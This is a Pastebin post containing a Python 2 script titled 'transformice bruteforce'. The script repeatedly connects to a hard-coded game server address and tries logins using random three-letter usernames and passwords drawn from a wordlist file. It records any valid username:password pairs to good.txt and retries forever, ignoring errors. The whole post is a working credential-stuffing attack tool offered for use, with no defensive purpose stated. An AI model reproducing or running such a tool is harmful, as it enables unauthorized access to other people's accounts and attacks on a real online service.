Advertisement
devsaider

transformice bruteforce

Oct 7th, 2013
793
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.71 KB | None | 0 0
  1. from socket import *
  2. from bytearray import ByteArray
  3. import hashlib
  4. import random
  5. import sys
  6. from multiprocessing import Process
  7. def _debug(msg, pack=""):
  8.     print "[DEBUG] %s PACKET %s"%(msg, bytes([pack]))
  9. class BruteForce():
  10.     def getpassword(self):
  11.         file = open("password.txt").read().split("\n")
  12.         return file
  13.  
  14.     def getusers(self):
  15.         file = open("users").read().split("\n")
  16.         return file
  17.  
  18.     def sendver(self):
  19.         p = ByteArray()
  20.         p.writeBytes("\x1c\x01")
  21.         p.writeInt(20)
  22.         self.m.send(p.toPack())
  23.  
  24.     def auth(self, login, password):
  25.         p = ByteArray()
  26.         p.writeBytes("\x28\x02")
  27.         p.writeUTF(login)
  28.         p.writeUTF(hashlib.sha256(password).hexdigest())
  29.         p.writeBoolean(False)
  30.         self.m.send(p.toPack())
  31.         #_debug("AUTH_PACK", self.m.recv(4096*128))
  32.         _debug("AUTH", "")
  33.  
  34.     def mainLoop(self, pc):
  35.         p = ByteArray(pc)
  36.         p.readBy(4)
  37.         ccc = [p.readByte(), p.readByte()]
  38.         if ccc[0] == 40:
  39.             if ccc[1] == 2:
  40.                 #print False
  41.                 p = ByteArray(pc)
  42.                 p.readBy(6)
  43.                 valid = p.readByte()
  44.                 _debug("Username", self.username+"|"+self.password)
  45.                 if valid !=0:
  46.                     file = open("good.txt", 'a')
  47.                     file.write("%s:%s\r\n"%(self.username, self.password))
  48.                     print "VALID!"
  49.                 else:
  50.                     print "NotValid"
  51.                 sys.exit(9)
  52.     def __init__(self):
  53.         self.server = ("37.59.46.220", 6112)
  54.         alph = list("abcdefghijktmnopqrstuvwxyz")
  55.         self.username = random.choice(alph)+random.choice(alph)+random.choice(alph)#(self.getusers())
  56.         self.password = random.choice(self.getpassword())
  57.         self.m = socket(AF_INET, SOCK_STREAM)
  58.         self.m.connect(self.server)
  59.         self.sendver()
  60.         self.auth(self.username, self.password)
  61.         while True:self.mainLoop(self.m.recv(4096*128))
  62. while True:
  63.     try:BruteForce()
  64.     except:pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement